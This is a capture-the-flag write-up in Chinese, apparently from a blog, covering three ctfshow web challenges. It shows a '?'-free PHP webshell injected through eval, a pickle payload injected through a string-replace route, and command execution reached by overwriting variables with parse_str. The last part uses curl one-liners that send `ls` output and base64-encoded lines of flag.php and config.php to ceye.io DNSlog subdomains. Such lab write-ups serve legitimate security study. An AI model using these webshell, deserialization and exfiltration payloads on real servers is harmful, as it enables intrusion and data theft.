做了三道题。第五题看不懂,第二题一直打不开。平台老崩。 个人博客:xiaoqiuxx.xyz
easy_eval
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
if(isset($code)){
$code = str_replace("?","",$code);
eval("?>".$code);
?>
代码清晰简单,就是一个代码执行函数eval,但是这里存在一个过滤。
str_replace("?", "", $code);
只要我们传入的内容存在问号? 都会被替换为空。注意这个函数,如果是在sql注入内的话,我们可以通过双写绕过。
这里像这样单个字符是会被全部过滤掉的。
所以这里的话我们考虑的话就是要不存在问号的内容。我们其实可以知道php的一句话木马有几种常用的方式
<?php eval($_POST['cmd']);?>
<?=eval($_POST['cmd']);?>
<script language='PHP'>eval($_POST['cmd']);</script>
在这里可以发现通过script标签的php代码是不需要问号的。所以这里我们传入这样的内容进行RCE
code=<script language='PHP'>eval($_POST["cmd"]);</script>&cmd=system('ls');
baby_pickle
看名字就知道了,python的反序列化。但是这题也不是常规的pickle反序列化。我们通过附件可以下载到源代码
import base64
import pickle, pickletools
import uuid
from flask import Flask, request
app = Flask(__name__)
id = 0
flag = "ctfshow{" + str(uuid.uuid4()) + "}"
class Rookie():
def __init__(self, name, id):
self.name = name
self.id = id
@app.route("/")
def agent_show():
global id
id = id + 1
if request.args.get("name"):
name = request.args.get("name")
else:
name = "new_rookie"
new_rookie = Rookie(name, id)
try:
file = open(str(name) + "_info", 'wb')
info = pickle.dumps(new_rookie, protocol=0)
info = pickletools.optimize(info)
file.write(info)
file.close()
except Exception as e:
return "error"
with open(str(name)+"_info", "rb") as file:
user = pickle.load(file)
message = "<h1>欢迎来到新手村" + user.name + "</h1>\n<p>" + "只有成为大菜鸡才能得到flag" + "</p>"
return message
@app.route("/dacaiji")
def get_flag():
name = request.args.get("name")
with open(str(name)+"_info", "rb") as f:
print(f)
user = pickle.load(f)
if user.id != 0:
message = "<h1>你不是大菜鸡</h1>"
return message
else:
message = "<h1>恭喜你成为大菜鸡</h1>\n<p>" + flag + "</p>"
return message
@app.route("/change")
def change_name():
name = base64.b64decode(request.args.get("name"))
newname = base64.b64decode(request.args.get("newname"))
file = open(name.decode() + "_info", "rb")
info = file.read()
print("old_info ====================")
print(info)
print("name ====================")
print(name)
print("newname ====================")
print(newname)
info = info.replace(name, newname)
print(info)
file.close()
with open(name.decode()+ "_info", "wb") as f:
f.write(info)
return "success"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888, debug=True)
代码逻辑比较简单。三个路由。默认路由可以传入一个name值生成相对应的文件。首次访问默认生成一个new_rookie_info的内容。在本地测试即可看到文件内容。
ccopy_reg
_reconstructor
(c__main__
Rookie
c__builtin__
object
NtR(dVname
Vnew_rookie
sVid
I2
sb.
我们传入自定义name 比如我传入?name=xiaoqiuxx
ccopy_reg
_reconstructor
(c__main__
Rookie
c__builtin__
object
NtR(dVname
Vxiaoqiuxx
sVid
I4
sb.
这里我们可以控制name但是不能对id进行控制。但是我们id为0的时候才能拿到flag。那么这里我们把目光放到第三个路由上。这个路由提供了一个修改内容的操作。
info = info.replace(name, newname)
这里我们可以传入两个参数一个是name 一个是newname。
可以把序列化中name值替换成newname值。那么这里就好办了。我们只需要传入特定值覆盖原来的值即可完成修改的操作
NtR(dVname
Vxiaoqiuxx
sVid
I4
sb.
这里只需要传入
xiaoqiuxx
sVid
I0
sb.
pickle反序列化以点结尾。所以我们传入上面的内容之后,就会变成
ccopy_reg
_reconstructor
(c__main__
Rookie
c__builtin__
object
NtR(dVname
Vxiaoqiuxx
sVid
I0
sb.
sVid
I4
sb.
然后我们将内容进行base64编码
步骤
1、首先带参数访问一下默认路由
2、然后拿到我们上面编码的内容访问change路由
3、最后带参访问daicaiji路由
repairman
进来观察url修改mode为0发现代码。
<?php
error_reporting(0);
session_start();
$config['secret'] = Array();
include 'config.php';
if(isset($_COOKIE['secret'])){
$secret =& $_COOKIE['secret'];
}else{
$secret = Null;
}
if(empty($mode)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query']);
if(empty($mode)) {
echo 'Your mode is the guest!';
}
}
function cmd($cmd){
global $secret;
echo 'Sucess change the ini!The logs record you!';
exec($cmd);
$secret['secret'] = $secret;
$secret['id'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['secret'] = $secret;
}
if($mode == '0'){
if($secret === md5('token')){
$secret = md5('test'.$config['secret']);
}
switch ($secret){
case md5('admin'.$config['secret']):
echo 999;
cmd($_POST['cmd']);
case md5('test'.$config['secret']):
echo 666;
$cmd = preg_replace('/[^a-z0-9]/is', 'hacker',$_POST['cmd']);
cmd($cmd);
default:
echo "hello,the repairman!";
highlight_file(__FILE__);
}
}elseif($mode == '1'){
echo '</br>hello,the user!We may change the mode to repaie the server,please keep it unchanged';
}else{
header('refresh:5;url=index.php?mode=1');
exit;
}
进行代码审计 使用cookie传入secret参数 通过对secret参数的MD5比较可以进行命令执行 。
我们可以发现这里我们一定要进入switch的第一个分支。可以发现这里和上面if是同级。就算上面if为false我们也可以进入这里swicth语句。所以我们只要传入值等于
md5('admin'.$config['secret']);
即可进行命令执行。上面说过这里$config['secret'] 其实默认值就是Array
所以这里我们传入的md5就是
echo md5("adminArray");
然后这里因为使用 exec函数是不会回显内容的。所以我们需要进行一个DNSlog外带。(尝试了shell反弹但是失败了 目前不太清楚原因)
使用 http://ceye.io
注册绑定手机号之后可以在个人页面拿到一个域名 之后使用时需要替换成自己分配到的域名。
在这可以看到使用姿势。
在平台即可看到回显的结果。 有时候可能较慢,耐心等待。
参考这篇文章payload
RCE之执行无回显 - undefined (lmcmc.github.io)
cmd=curl http://98c2l7.ceye.io/`ls`
cmd=curl http://98c2l7.ceye.io/`cat flag.php`
cmd=curl http://98c2l7.ceye.io/`cat flag.php | sed -n '2p'` 使用sed命令查看flag.php文件第二行的内容
cmd=curl http://98c2l7.ceye.io/`cat flag.php | sed -n '2p' | base64` 空格不能被带出时使用base64进行编码
cmd=curl http://98c2l7.ceye.io/`ls -al| cut -c 3-10` 若长度太大,可以使用cut来分割字符(第一个字符下标为1)
这题flag在config.php的第三行
cmd=curl http://mzodiy.ceye.io/`cat config.php | sed -n '3p' | base64`
解码即是flag。
|